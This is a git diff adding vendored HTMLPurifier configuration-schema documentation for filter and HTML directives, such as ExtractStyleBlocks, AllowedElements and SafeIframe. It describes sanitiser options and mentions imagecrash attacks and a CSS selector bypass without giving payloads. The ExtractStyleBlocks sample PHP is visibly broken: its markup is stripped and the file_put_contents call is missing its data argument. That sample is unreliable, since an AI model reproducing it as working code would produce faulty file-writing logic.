        +--# vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Filter.Custom.txt b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Filter.Custom.txt new file mode 100644 index 00000000..3db50ef2 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Filter.Custom.txt @@ -0,0 +1,11 @@ +Filter.Custom +TYPE: list +VERSION: 3.1.0 +DEFAULT: array() +--DESCRIPTION-- +

        + This directive can be used to add custom filters; it is nearly the + equivalent of the now deprecated HTMLPurifier->addFilter() + method. Specify an array of concrete implementations. +

        +--# vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Filter.ExtractStyleBlocks.Escaping.txt b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Filter.ExtractStyleBlocks.Escaping.txt new file mode 100644 index 00000000..16829bcd --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Filter.ExtractStyleBlocks.Escaping.txt @@ -0,0 +1,14 @@ +Filter.ExtractStyleBlocks.Escaping +TYPE: bool +VERSION: 3.0.0 +DEFAULT: true +ALIASES: Filter.ExtractStyleBlocksEscaping, FilterParam.ExtractStyleBlocksEscaping +--DESCRIPTION-- + +

        + Whether or not to escape the dangerous characters <, > and & + as \3C, \3E and \26, respectively. This is can be safely set to false + if the contents of StyleBlocks will be placed in an external stylesheet, + where there is no risk of it being interpreted as HTML. +

        +--# vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Filter.ExtractStyleBlocks.Scope.txt b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Filter.ExtractStyleBlocks.Scope.txt new file mode 100644 index 00000000..7f95f54d --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Filter.ExtractStyleBlocks.Scope.txt @@ -0,0 +1,29 @@ +Filter.ExtractStyleBlocks.Scope +TYPE: string/null +VERSION: 3.0.0 +DEFAULT: NULL +ALIASES: Filter.ExtractStyleBlocksScope, FilterParam.ExtractStyleBlocksScope +--DESCRIPTION-- + +

        + If you would like users to be able to define external stylesheets, but + only allow them to specify CSS declarations for a specific node and + prevent them from fiddling with other elements, use this directive. + It accepts any valid CSS selector, and will prepend this to any + CSS declaration extracted from the document. For example, if this + directive is set to #user-content and a user uses the + selector a:hover, the final selector will be + #user-content a:hover. +

        +

        + The comma shorthand may be used; consider the above example, with + #user-content, #user-content2, the final selector will + be #user-content a:hover, #user-content2 a:hover. +

        +

        + Warning: It is possible for users to bypass this measure + using a naughty + selector. This is a bug in CSS Tidy 1.3, not HTML + Purifier, and I am working to get it fixed. Until then, HTML Purifier + performs a basic check to prevent this. +

        +--# vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Filter.ExtractStyleBlocks.TidyImpl.txt b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Filter.ExtractStyleBlocks.TidyImpl.txt new file mode 100644 index 00000000..6c231b2d --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Filter.ExtractStyleBlocks.TidyImpl.txt @@ -0,0 +1,16 @@ +Filter.ExtractStyleBlocks.TidyImpl +TYPE: mixed/null +VERSION: 3.1.0 +DEFAULT: NULL +ALIASES: FilterParam.ExtractStyleBlocksTidyImpl +--DESCRIPTION-- +

        + If left NULL, HTML Purifier will attempt to instantiate a csstidy + class to use for internal cleaning. This will usually be good enough. +

        +

        + However, for trusted user input, you can set this to false to + disable cleaning. In addition, you can supply your own concrete implementation + of Tidy's interface to use, although I don't know why you'd want to do that. +

        +--# vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Filter.ExtractStyleBlocks.txt b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Filter.ExtractStyleBlocks.txt new file mode 100644 index 00000000..078d0874 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Filter.ExtractStyleBlocks.txt @@ -0,0 +1,74 @@ +Filter.ExtractStyleBlocks +TYPE: bool +VERSION: 3.1.0 +DEFAULT: false +EXTERNAL: CSSTidy +--DESCRIPTION-- +

        + This directive turns on the style block extraction filter, which removes + style blocks from input HTML, cleans them up with CSSTidy, + and places them in the StyleBlocks context variable, for further + use by you, usually to be placed in an external stylesheet, or a + style block in the head of your document. +

        +

        + Sample usage: +

        +
        ';
        +?>
        +
        +
        +
        +  Filter.ExtractStyleBlocks
        +body {color:#F00;} Some text';
        +
        +    $config = HTMLPurifier_Config::createDefault();
        +    $config->set('Filter', 'ExtractStyleBlocks', true);
        +    $purifier = new HTMLPurifier($config);
        +
        +    $html = $purifier->purify($dirty);
        +
        +    // This implementation writes the stylesheets to the styles/ directory.
        +    // You can also echo the styles inside the document, but it's a bit
        +    // more difficult to make sure they get interpreted properly by
        +    // browsers; try the usual CSS armoring techniques.
        +    $styles = $purifier->context->get('StyleBlocks');
        +    $dir = 'styles/';
        +    if (!is_dir($dir)) mkdir($dir);
        +    $hash = sha1($_GET['html']);
        +    foreach ($styles as $i => $style) {
        +        file_put_contents($name = $dir . $hash . "_$i");
        +        echo '';
        +    }
        +?>
        +
        +
        +  
        + +
        + + +]]>
        +

        + Warning: It is possible for a user to mount an + imagecrash attack using this CSS. Counter-measures are difficult; + it is not simply enough to limit the range of CSS lengths (using + relative lengths with many nesting levels allows for large values + to be attained without actually specifying them in the stylesheet), + and the flexible nature of selectors makes it difficult to selectively + disable lengths on image tags (HTML Purifier, however, does disable + CSS width and height in inline styling). There are probably two effective + counter measures: an explicit width and height set to auto in all + images in your document (unlikely) or the disabling of width and + height (somewhat reasonable). Whether or not these measures should be + used is left to the reader. +

        +--# vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Filter.YouTube.txt b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Filter.YouTube.txt new file mode 100644 index 00000000..321eaa2d --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Filter.YouTube.txt @@ -0,0 +1,16 @@ +Filter.YouTube +TYPE: bool +VERSION: 3.1.0 +DEFAULT: false +--DESCRIPTION-- +

        + Warning: Deprecated in favor of %HTML.SafeObject and + %Output.FlashCompat (turn both on to allow YouTube videos and other + Flash content). +

        +

        + This directive enables YouTube video embedding in HTML Purifier. Check + this document + on embedding videos for more information on what this filter does. +

        +--# vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.Allowed.txt b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.Allowed.txt new file mode 100644 index 00000000..0b2c106d --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.Allowed.txt @@ -0,0 +1,25 @@ +HTML.Allowed +TYPE: itext/null +VERSION: 2.0.0 +DEFAULT: NULL +--DESCRIPTION-- + +

        + This is a preferred convenience directive that combines + %HTML.AllowedElements and %HTML.AllowedAttributes. + Specify elements and attributes that are allowed using: + element1[attr1|attr2],element2.... For example, + if you would like to only allow paragraphs and links, specify + a[href],p. You can specify attributes that apply + to all elements using an asterisk, e.g. *[lang]. + You can also use newlines instead of commas to separate elements. +

        +

        + Warning: + All of the constraints on the component directives are still enforced. + The syntax is a subset of TinyMCE's valid_elements + whitelist: directly copy-pasting it here will probably result in + broken whitelists. If %HTML.AllowedElements or %HTML.AllowedAttributes + are set, this directive has no effect. +

        +--# vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.AllowedAttributes.txt b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.AllowedAttributes.txt new file mode 100644 index 00000000..fcf093f1 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.AllowedAttributes.txt @@ -0,0 +1,19 @@ +HTML.AllowedAttributes +TYPE: lookup/null +VERSION: 1.3.0 +DEFAULT: NULL +--DESCRIPTION-- + +

        + If HTML Purifier's attribute set is unsatisfactory, overload it! + The syntax is "tag.attr" or "*.attr" for the global attributes + (style, id, class, dir, lang, xml:lang). +

        +

        + Warning: If another directive conflicts with the + elements here, that directive will win and override. For + example, %HTML.EnableAttrID will take precedence over *.id in this + directive. You must set that directive to true before you can use + IDs at all. +

        +--# vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.AllowedComments.txt b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.AllowedComments.txt new file mode 100644 index 00000000..140e2142 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.AllowedComments.txt @@ -0,0 +1,10 @@ +HTML.AllowedComments +TYPE: lookup +VERSION: 4.4.0 +DEFAULT: array() +--DESCRIPTION-- +A whitelist which indicates what explicit comment bodies should be +allowed, modulo leading and trailing whitespace. See also %HTML.AllowedCommentsRegexp +(these directives are union'ed together, so a comment is considered +valid if any directive deems it valid.) +--# vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.AllowedCommentsRegexp.txt b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.AllowedCommentsRegexp.txt new file mode 100644 index 00000000..f22e977d --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.AllowedCommentsRegexp.txt @@ -0,0 +1,15 @@ +HTML.AllowedCommentsRegexp +TYPE: string/null +VERSION: 4.4.0 +DEFAULT: NULL +--DESCRIPTION-- +A regexp, which if it matches the body of a comment, indicates that +it should be allowed. Trailing and leading spaces are removed prior +to running this regular expression. +Warning: Make sure you specify +correct anchor metacharacters ^regex$, otherwise you may accept +comments that you did not mean to! In particular, the regex /foo|bar/ +is probably not sufficiently strict, since it also allows foobar. +See also %HTML.AllowedComments (these directives are union'ed together, +so a comment is considered valid if any directive deems it valid.) +--# vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.AllowedElements.txt b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.AllowedElements.txt new file mode 100644 index 00000000..1d3fa790 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.AllowedElements.txt @@ -0,0 +1,23 @@ +HTML.AllowedElements +TYPE: lookup/null +VERSION: 1.3.0 +DEFAULT: NULL +--DESCRIPTION-- +

        + If HTML Purifier's tag set is unsatisfactory for your needs, you can + overload it with your own list of tags to allow. If you change + this, you probably also want to change %HTML.AllowedAttributes; see + also %HTML.Allowed which lets you set allowed elements and + attributes at the same time. +

        +

        + If you attempt to allow an element that HTML Purifier does not know + about, HTML Purifier will raise an error. You will need to manually + tell HTML Purifier about this element by using the + advanced customization features. +

        +

        + Warning: If another directive conflicts with the + elements here, that directive will win and override. +

        +--# vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.AllowedModules.txt b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.AllowedModules.txt new file mode 100644 index 00000000..5a59a55c --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.AllowedModules.txt @@ -0,0 +1,20 @@ +HTML.AllowedModules +TYPE: lookup/null +VERSION: 2.0.0 +DEFAULT: NULL +--DESCRIPTION-- + +

        + A doctype comes with a set of usual modules to use. Without having + to mucking about with the doctypes, you can quickly activate or + disable these modules by specifying which modules you wish to allow + with this directive. This is most useful for unit testing specific + modules, although end users may find it useful for their own ends. +

        +

        + If you specify a module that does not exist, the manager will silently + fail to use it, so be careful! User-defined modules are not affected + by this directive. Modules defined in %HTML.CoreModules are not + affected by this directive. +

        +--# vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.Attr.Name.UseCDATA.txt b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.Attr.Name.UseCDATA.txt new file mode 100644 index 00000000..151fb7b8 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.Attr.Name.UseCDATA.txt @@ -0,0 +1,11 @@ +HTML.Attr.Name.UseCDATA +TYPE: bool +DEFAULT: false +VERSION: 4.0.0 +--DESCRIPTION-- +The W3C specification DTD defines the name attribute to be CDATA, not ID, due +to limitations of DTD. In certain documents, this relaxed behavior is desired, +whether it is to specify duplicate names, or to specify names that would be +illegal IDs (for example, names that begin with a digit.) Set this configuration +directive to true to use the relaxed parsing rules. +--# vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.BlockWrapper.txt b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.BlockWrapper.txt new file mode 100644 index 00000000..45ae469e --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.BlockWrapper.txt @@ -0,0 +1,18 @@ +HTML.BlockWrapper +TYPE: string +VERSION: 1.3.0 +DEFAULT: 'p' +--DESCRIPTION-- + +

        + String name of element to wrap inline elements that are inside a block + context. This only occurs in the children of blockquote in strict mode. +

        +

        + Example: by default value, + <blockquote>Foo</blockquote> would become + <blockquote><p>Foo</p></blockquote>. + The <p> tags can be replaced with whatever you desire, + as long as it is a block level element. +

        +--# vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.CoreModules.txt b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.CoreModules.txt new file mode 100644 index 00000000..52461887 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.CoreModules.txt @@ -0,0 +1,23 @@ +HTML.CoreModules +TYPE: lookup +VERSION: 2.0.0 +--DEFAULT-- +array ( + 'Structure' => true, + 'Text' => true, + 'Hypertext' => true, + 'List' => true, + 'NonXMLCommonAttributes' => true, + 'XMLCommonAttributes' => true, + 'CommonAttributes' => true, +) +--DESCRIPTION-- + +

        + Certain modularized doctypes (XHTML, namely), have certain modules + that must be included for the doctype to be an conforming document + type: put those modules here. By default, XHTML's core modules + are used. You can set this to a blank array to disable core module + protection, but this is not recommended. +

        +--# vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.CustomDoctype.txt b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.CustomDoctype.txt new file mode 100644 index 00000000..a64e3d7c --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.CustomDoctype.txt @@ -0,0 +1,9 @@ +HTML.CustomDoctype +TYPE: string/null +VERSION: 2.0.1 +DEFAULT: NULL +--DESCRIPTION-- + +A custom doctype for power-users who defined there own document +type. This directive only applies when %HTML.Doctype is blank. +--# vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.DefinitionID.txt b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.DefinitionID.txt new file mode 100644 index 00000000..103db754 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.DefinitionID.txt @@ -0,0 +1,33 @@ +HTML.DefinitionID +TYPE: string/null +DEFAULT: NULL +VERSION: 2.0.0 +--DESCRIPTION-- + +

        + Unique identifier for a custom-built HTML definition. If you edit + the raw version of the HTMLDefinition, introducing changes that the + configuration object does not reflect, you must specify this variable. + If you change your custom edits, you should change this directive, or + clear your cache. Example: +

        +
        +$config = HTMLPurifier_Config::createDefault();
        +$config->set('HTML', 'DefinitionID', '1');
        +$def = $config->getHTMLDefinition();
        +$def->addAttribute('a', 'tabindex', 'Number');
        +
        +

        + In the above example, the configuration is still at the defaults, but + using the advanced API, an extra attribute has been added. The + configuration object normally has no way of knowing that this change + has taken place, so it needs an extra directive: %HTML.DefinitionID. + If someone else attempts to use the default configuration, these two + pieces of code will not clobber each other in the cache, since one has + an extra directive attached to it. +

        +

        + You must specify a value to this directive to use the + advanced API features. +

        +--# vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.DefinitionRev.txt b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.DefinitionRev.txt new file mode 100644 index 00000000..229ae026 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.DefinitionRev.txt @@ -0,0 +1,16 @@ +HTML.DefinitionRev +TYPE: int +VERSION: 2.0.0 +DEFAULT: 1 +--DESCRIPTION-- + +

        + Revision identifier for your custom definition specified in + %HTML.DefinitionID. This serves the same purpose: uniquely identifying + your custom definition, but this one does so in a chronological + context: revision 3 is more up-to-date then revision 2. Thus, when + this gets incremented, the cache handling is smart enough to clean + up any older revisions of your definition as well as flush the + cache. +

        +--# vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.Doctype.txt b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.Doctype.txt new file mode 100644 index 00000000..9dab497f --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.Doctype.txt @@ -0,0 +1,11 @@ +HTML.Doctype +TYPE: string/null +DEFAULT: NULL +--DESCRIPTION-- +Doctype to use during filtering. Technically speaking this is not actually +a doctype (as it does not identify a corresponding DTD), but we are using +this name for sake of simplicity. When non-blank, this will override any +older directives like %HTML.XHTML or %HTML.Strict. +--ALLOWED-- +'HTML 4.01 Transitional', 'HTML 4.01 Strict', 'XHTML 1.0 Transitional', 'XHTML 1.0 Strict', 'XHTML 1.1' +--# vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.FlashAllowFullScreen.txt b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.FlashAllowFullScreen.txt new file mode 100644 index 00000000..7878dc0b --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.FlashAllowFullScreen.txt @@ -0,0 +1,11 @@ +HTML.FlashAllowFullScreen +TYPE: bool +VERSION: 4.2.0 +DEFAULT: false +--DESCRIPTION-- +

        + Whether or not to permit embedded Flash content from + %HTML.SafeObject to expand to the full screen. Corresponds to + the allowFullScreen parameter. +

        +--# vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.ForbiddenAttributes.txt b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.ForbiddenAttributes.txt new file mode 100644 index 00000000..57358f9b --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.ForbiddenAttributes.txt @@ -0,0 +1,21 @@ +HTML.ForbiddenAttributes +TYPE: lookup +VERSION: 3.1.0 +DEFAULT: array() +--DESCRIPTION-- +

        + While this directive is similar to %HTML.AllowedAttributes, for + forwards-compatibility with XML, this attribute has a different syntax. Instead of + tag.attr, use tag@attr. To disallow href + attributes in a tags, set this directive to + a@href. You can also disallow an attribute globally with + attr or *@attr (either syntax is fine; the latter + is provided for consistency with %HTML.AllowedAttributes). +

        +

        + Warning: This directive complements %HTML.ForbiddenElements, + accordingly, check + out that directive for a discussion of why you + should think twice before using this directive. +

        +--# vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.ForbiddenElements.txt b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.ForbiddenElements.txt new file mode 100644 index 00000000..93a53e14 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.ForbiddenElements.txt @@ -0,0 +1,20 @@ +HTML.ForbiddenElements +TYPE: lookup +VERSION: 3.1.0 +DEFAULT: array() +--DESCRIPTION-- +

        + This was, perhaps, the most requested feature ever in HTML + Purifier. Please don't abuse it! This is the logical inverse of + %HTML.AllowedElements, and it will override that directive, or any + other directive. +

        +

        + If possible, %HTML.Allowed is recommended over this directive, because it + can sometimes be difficult to tell whether or not you've forbidden all of + the behavior you would like to disallow. If you forbid img + with the expectation of preventing images on your site, you'll be in for + a nasty surprise when people start using the background-image + CSS property. +

        +--# vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.MaxImgLength.txt b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.MaxImgLength.txt new file mode 100644 index 00000000..e424c386 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.MaxImgLength.txt @@ -0,0 +1,14 @@ +HTML.MaxImgLength +TYPE: int/null +DEFAULT: 1200 +VERSION: 3.1.1 +--DESCRIPTION-- +

        + This directive controls the maximum number of pixels in the width and + height attributes in img tags. This is + in place to prevent imagecrash attacks, disable with null at your own risk. + This directive is similar to %CSS.MaxImgLength, and both should be + concurrently edited, although there are + subtle differences in the input format (the HTML max is an integer). +

        +--# vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.Nofollow.txt b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.Nofollow.txt new file mode 100644 index 00000000..700b3092 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.Nofollow.txt @@ -0,0 +1,7 @@ +HTML.Nofollow +TYPE: bool +VERSION: 4.3.0 +DEFAULT: FALSE +--DESCRIPTION-- +If enabled, nofollow rel attributes are added to all outgoing links. +--# vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.Parent.txt b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.Parent.txt new file mode 100644 index 00000000..62e8e160 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.Parent.txt @@ -0,0 +1,12 @@ +HTML.Parent +TYPE: string +VERSION: 1.3.0 +DEFAULT: 'div' +--DESCRIPTION-- + +

        + String name of element that HTML fragment passed to library will be + inserted in. An interesting variation would be using span as the + parent element, meaning that only inline tags would be allowed. +

        +--# vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.Proprietary.txt b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.Proprietary.txt new file mode 100644 index 00000000..dfb72049 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.Proprietary.txt @@ -0,0 +1,12 @@ +HTML.Proprietary +TYPE: bool +VERSION: 3.1.0 +DEFAULT: false +--DESCRIPTION-- +

        + Whether or not to allow proprietary elements and attributes in your + documents, as per HTMLPurifier_HTMLModule_Proprietary. + Warning: This can cause your documents to stop + validating! +

        +--# vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.SafeEmbed.txt b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.SafeEmbed.txt new file mode 100644 index 00000000..cdda09a4 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.SafeEmbed.txt @@ -0,0 +1,13 @@ +HTML.SafeEmbed +TYPE: bool +VERSION: 3.1.1 +DEFAULT: false +--DESCRIPTION-- +

        + Whether or not to permit embed tags in documents, with a number of extra + security features added to prevent script execution. This is similar to + what websites like MySpace do to embed tags. Embed is a proprietary + element and will cause your website to stop validating; you should + see if you can use %Output.FlashCompat with %HTML.SafeObject instead + first.

        +--# vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.SafeIframe.txt b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.SafeIframe.txt new file mode 100644 index 00000000..5eb6ec2b --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.SafeIframe.txt @@ -0,0 +1,13 @@ +HTML.SafeIframe +TYPE: bool +VERSION: 4.4.0 +DEFAULT: false +--DESCRIPTION-- +

        + Whether or not to permit iframe tags in untrusted documents. This + directive must be accompanied by a whitelist of permitted iframes, + such as %URI.SafeIframeRegexp, otherwise it will fatally error. + This directive has no effect on strict doctypes, as iframes are not + valid. +

        +--# vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.SafeObject.txt b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.SafeObject.txt new file mode 100644 index 00000000..ceb342e2 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.SafeObject.txt @@ -0,0 +1,13 @@ +HTML.SafeObject +TYPE: bool +VERSION: 3.1.1 +DEFAULT: false +--DESCRIPTION-- +

        + Whether or not to permit object tags in documents, with a number of extra + security features added to prevent script execution. This is similar to + what websites like MySpace do to object tags. You should also enable + %Output.FlashCompat in order to generate Internet Explorer + compatibility code for your object tags. +

        +--# vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.SafeScripting.txt b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.SafeScripting.txt new file mode 100644 index 00000000..5ebc7a19 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.SafeScripting.txt @@ -0,0 +1,10 @@ +HTML.SafeScripting +TYPE: lookup +VERSION: 4.5.0 +DEFAULT: array() +--DESCRIPTION-- +

        + Whether or not to permit script tags to external scripts in documents. + Inline scripting is not allowed, and the script must match an explicit whitelist. +

